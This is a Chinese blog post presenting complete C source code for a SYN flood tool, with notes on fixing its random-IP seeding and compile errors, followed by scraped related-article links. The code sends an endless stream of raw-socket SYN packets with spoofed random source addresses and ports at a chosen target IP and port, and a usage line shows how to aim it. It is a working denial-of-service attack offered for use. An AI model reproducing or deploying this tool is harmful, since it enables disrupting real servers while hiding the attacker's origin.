SYN攻击源码
一、linux下源代码实现
/* syn flood by wqfhenanxc.
* random soruce ip and random sourec port.
* use #include <tcp_new.h>instead of for my own system reason.
* usage :eg. to flood port 8080 on ip 246.245.167.45 ./synflood 246.245.167.45 8080
* any question mail to wqfhenanxc@gmail.com
* 2009.6.12
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
//#include "synflood.h"
//#define DEFAULT_DPORT 80
//#define SPORT 8888
#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short checksum(unsigned short *buffer, int size);
unsigned short random_port(unsigned short minport,unsigned short maxport);
void random_ip(char *str);
int main(int argc,char **argv){
int sockfd;
struct sockaddr_in addr;
//int dport;
int on=1;
if(argc!=3){
printf("usage: <command_name><target_ip>\n");
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(atoi(argv[2]));
//addr.sin_addr.s_addr=inet_aton(argv[1]);
inet_pton(AF_INET,argv[1],&addr.sin_addr);
/*if(inet_aton(argv[1],&addr.sin_addr)==0){
host=gethostbyname
}*/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0){
printf("Socket error!\n");
exit(1);
}
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
while(1){
send_tcp(sockfd,&addr);
}
return 0;
}
void send_tcp(int sockfd,struct sockaddr_in *addr){
char buff[100];
struct iphdr ip_header;
struct tcphdr tcp_header;
unsigned short source_port=random_port(1024,5000);
char ip_str[50];
struct in_addr ip;
random_ip(ip_str);
if(inet_aton(ip_str,&ip)==0){
printf("inet_aton error!\n");
exit(1);
}
bzero(buff,100);
//ip_header=(struct iphdr*)buff;
ip_header.version=4;
ip_header.ihl=5;
ip_header.tos=0;
ip_header.tot_len=sizeof(struct iphdr)+sizeof(struct tcphdr);
ip_header.id=htons(random());
ip_header.frag_off=0;
ip_header.ttl=30;
ip_header.protocol=IPPROTO_TCP;
ip_header.check=0;
ip_header.saddr=ip.s_addr;
ip_header.daddr=addr->sin_addr.s_addr;
//tcp_header=(struct tcphdr*)(buff+sizeof(struct iphdr));
tcp_header.source=htons(source_port);
tcp_header.dest=addr->sin_port;
tcp_header.seq=rand();
tcp_header.doff=sizeof(struct tcphdr)/4;
tcp_header.ack_seq=0;
tcp_header.res1=0;
tcp_header.fin=0;
tcp_header.syn=1;
tcp_header.rst=0;
tcp_header.psh=0;
tcp_header.ack=0;
tcp_header.urg=0;
tcp_header.window=htons(65535);
tcp_header.check=0;
tcp_header.urg_ptr=0;
//send_tcp_segment(&ip_header,&tcp_header,"",0);
struct{
unsigned long saddr;
unsigned long daddr;
char mbz;
char ptcl;
unsigned short tcpl;
}psd_header;
psd_header.saddr=ip_header.saddr;
psd_header.daddr=ip_header.daddr;
psd_header.mbz=0;
psd_header.ptcl=IPPROTO_TCP;
psd_header.tcpl=htons(sizeof(struct tcphdr));
memcpy(buff,&psd_header,sizeof(psd_header));
memcpy(buff+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
//memcpy(buf+sizeof(psd_header)+sizeof(tcp_header),data,dlen);
//memset(buf+sizeof(psd_header)+sizeof(tcp_header)+dlen,0,4);
tcp_header.check=checksum((unsigned short*)buff,sizeof(psd_header)+sizeof(tcp_header));
memcpy(buff,&ip_header,4*ip_header.ihl);
memcpy(buff+4*ip_header.ihl,&tcp_header,sizeof(tcp_header));
//memcpy(buf+4*ip_header.ihl+sizeof(tcp_header),data,dlen);
//memset(buf+4*ip_header.ihl+sizeof(tcp_header)+dlen,0,4);
ip_header.check=checksum((unsigned short*)buff,4*ip_header.ihl+sizeof(tcp_header));
// send_seq=SEQ+1+strlen(buf);
sendto(sockfd,buff,sizeof(struct iphdr)+sizeof(struct tcphdr),0,
(struct sockaddr*)addr,sizeof(struct sockaddr_in));
}
unsigned short checksum(unsigned short *buffer, int size){
unsigned long cksum=0;
while(size >1) {
cksum+=*buffer++;
size -=sizeof(unsigned short);
}
if(size ) cksum += *(unsigned char*)buffer; //..buffer..size..2......
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (unsigned short)(~cksum);
}
unsigned short random_port(unsigned short minport,unsigned short maxport){
/*struct time stime;
unsigned seed;
gettime(&stime);
seed=stime.ti_hund*stime.ti_min*stime.ti_hour;
srand(seed);*/
srand((unsigned)time(NULL));
return(getrandom(minport,maxport));
}
void random_ip(char *str){
int a,b,c,d,i=0;
static long j=0;
srand((unsigned)time(NULL)+(i++)+(j++));
a=getrandom(0,255);
srand((unsigned)time(NULL)+(i++)+(j++));
b=getrandom(0,255);
srand((unsigned)time(NULL)+(i++)+(j++));
c=getrandom(0,255);
srand((unsigned)time(NULL)+(i++)+(j++));
d=getrandom(0,255);
sprintf(str,"%d.%d.%d.%d",a,b,c,d);
printf("%s\n",str);
}
二、编写中遇到的问题
1.rand()函数问题。随机ip地址四个字段分别生成,结果由于生成速度太快,作为srand()种子的系统时间没有来得及变化,导致ip四个字段相同,如118.118.118.118,并且接连有10个左右的包是同一个ip。解决办法是引入自增量i和j。
2.编译错误如下:
/usr/include/linux/ip.h:95: error: syntax error before "__u8"
/usr/include/linux/ip.h:102: error: syntax error before "tot_len"
/usr/include/linux/ip.h:103: error: syntax error before "id"
/usr/include/linux/ip.h:104: error: syntax error before "frag_off"
/usr/include/linux/ip.h:105: error: syntax error before "ttl"
/usr/include/linux/ip.h:106: error: syntax error before "protocol"
/usr/include/linux/ip.h:107: error: syntax error before "check"
/usr/include/linux/ip.h:108: error: syntax error before "saddr"
/usr/include/linux/ip.h:109: error: syntax error before "daddr"
。。。
。。。
。。。
/usr/include/linux/tcp.h:105: enumerator value for `TCP_FLAG_CWR' not
integer constant
/usr/include/linux/tcp.h:106: syntax error before "__u32"
/usr/include/linux/tcp.h:107: syntax error before "__u32"
/usr/include/linux/tcp.h:108: syntax error before "__u32"
/usr/include/linux/tcp.h:109: syntax error before "__u32"
/usr/include/linux/tcp.h:110: syntax error before "__u32"
/usr/include/linux/tcp.h:111: syntax error before "__u32"
/usr/include/linux/tcp.h:112: syntax error before "__u32"
/usr/include/linux/tcp.h:113: syntax error before "__u32"
/usr/include/linux/tcp.h:114: syntax error before "__u32"
以上两个错误是由于系统的ip.h和tcp.h确实有问题,
第一个错误通过 增加 #include 来解决,该文件包含了__u8和__u32的定义。
第二个错误源自tcp.h的如下几行:
enum {
TCP_FLAG_CWR = htonl(0x00800000)
TCP_FLAG_ECE = htonl(0x00400000),
TCP_FLAG_URG = htonl(0x00200000),
TCP_FLAG_ACK = htonl(0x00100000),
TCP_FLAG_PSH = htonl(0x00080000),
TCP_FLAG_RST = htonl(0x00040000),
TCP_FLAG_SYN = htonl(0x00020000),
TCP_FLAG_FIN = htonl(0x00010000),
TCP_RESERVED_BITS = htonl(0x0FC000000),
TCP_DATA_OFFSET = htonl(0xF0000000)
};
解决办法:将tcp.h的内容拷贝到另一个新建的文件tcp_new.h中,在新文件中去掉上面几行代码中的htonl,在自己的文件中用#include 代替#include 即可。
参考资料:
1.http://www.linuxsir.org/bbs/showthread.php?t=101990
2.Zakath的syn-flood源码
3.http://fanqiang.chinaunix.net/a4/b7/20010508/112433.html
SYN攻击源码的更多相关文章
- 360safe安全卫士防网站攻击源码
近段时间,公司网站老被攻击,于是研究起防止攻击方法,当然无外乎就是SQL注入之类的问题,无意间发现了一个360安全卫士提供的源码,觉得挺好的,咋们暂且不说防攻击效果,至少思路是很好的,奉献给大家,大家 ...
- GitHub源码攻击事件
黑客擦除了微软多达392个代码存储库,并提出勒索要求.此前,黑客攻击了包含微软在内的大批受害者的Git存储库,删除了所有源代码和最近提交的内容,并留下了支持比特币支付的赎金票据. 勒索信息如下: “要 ...
- 【Android编程】android平台的MITM瑞士军刀_cSploit源码解析及中间人攻击复现
/文章作者:Kali_MG1937 作者博客ID:ALDYS4 QQ:3496925334 未经允许,禁止转载/ 何为MITM欺骗,顾名思义,中间人攻击的含义即为在局域网中充当数据包交换中间人的角色 ...
- 在线CC攻击网站源码
源码目录 index.html 首页 cc.php 核心文件 count.php 使用统计 pv.php 访问测试页面 ip.txt 代理IP数据文件 运行方式 域名/?url=目标网址 要先获取代{ ...
- tcp的半连接与完全连接队列(三)源码分析
TCP 协议中的 SYN queue 和 accept queue 处理 若要理解本文意图说明的问题,可能需要以下知识背景: listen 系统调用的 backlog 参数含义,以及与 net.cor ...
- 分布式系统(二) --SOA 以及一些网络通信协议TCP/UDP SYN攻击
SOA(面向服务的架构):Service Oriented Architecture面向服务的架构.也就是把工程拆分成服务层.表现层两个工程.服务层中包含业务逻辑,只需要对外提供服务即可.表现层只需要 ...
- 从Linux源码看Socket(TCP)的listen及连接队列
从Linux源码看Socket(TCP)的listen及连接队列 前言 笔者一直觉得如果能知道从应用到框架再到操作系统的每一处代码,是一件Exciting的事情. 今天笔者就来从Linux源码的角度看 ...
- TCP三次握手Linux源码解析
TCP是面向连接的协议.面向连接的传输层协议在原点和重点之间建立了一条虚拟路径,同属于一个报文的所有报文段都沿着这条虚拟路径发送,为整个报文使用一条虚拟路径能够更容易地实施确认过程以及对损伤或者丢失报 ...
- 我为 Netty 贡献源码 | 且看 Netty 如何应对 TCP 连接的正常关闭,异常关闭,半关闭场景
欢迎关注公众号:bin的技术小屋,本文图片加载不出来的话可查看公众号原文 本系列Netty源码解析文章基于 4.1.56.Final版本 写在前面..... 本文是笔者肉眼盯 Bug 系列的第三弹,前 ...
随机推荐
- webpack官方文档分析(一):安装
一:安装 1.首先要安装Node.js->node.js下载 2.本地安装 要安装最新版本或特定版本,运行如下: npm install --save-dev webpack npm insta ...
- jquery文章链接
好文链接 1.jQuery是js的一个库,封装了js中常用的逻辑: 2.调用jQuery: (1).本地调用,在script标签的src属性里写上jQuery文件的地址. (2).使用CDN调用jQu ...
- 笔记本在安装Windows+Linux双系统后,进入Windows时花屏的解决办法
问题:在笔记本安装双系统(Windows7+Ubuntu14.04)[先安装Windows,后安装Ubuntu]后,进入Windows时出现了花屏. 问题原因:笔记本只有集显,在系统启动时会先加载Ub ...
- 一键生成koa/koa2项目
1. npm install -g koa-generator 安装生成器 2.执行 koa mytest (koa1项目) koa2 koa2test (koa2项目) 3.进入目录 cd koa2 ...
- Linux网络编程一、tcp三次握手,四次挥手
一.TCP报文格式 (图片来源网络) SYN:请求建立连接标志位 ACK:应答标志位 FIN:断开连接标志位 二.三次握手,数据传输,四次挥手 (流程图,图片来源于网络) (tcp状态转换图,图片来源 ...
- Apache Ranger && HDFS
Apache Ranger && HDFS 标签(空格分隔): Hadoop HDFS HDFS对于任何Hadoop大数据平台来说都是核心组成部分,为了加强对Hadoop平台的数据保护 ...
- <context:component-scan>标签报错解决方案
- koa 基础(二十二)封装 DB 库 --- 测试
1.根目录/module/config.js /** * 配置文件 */ var app = { dbUrl: 'mongodb://127.0.0.1:27017/?gssapiServiceNam ...
- TensorFlow 学习(2)——正式起步
学习TensorFlow官方文档中文版 http://wiki.jikexueyuan.com/project/tensorflow-zh/get_started/basic_usage.html 一 ...
- LC 655. Print Binary Tree
Print a binary tree in an m*n 2D string array following these rules: The row number m should be equa ...